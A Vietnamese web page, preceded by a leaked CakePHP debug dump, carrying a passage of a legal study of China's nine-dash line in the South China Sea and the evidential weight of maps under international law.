Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này 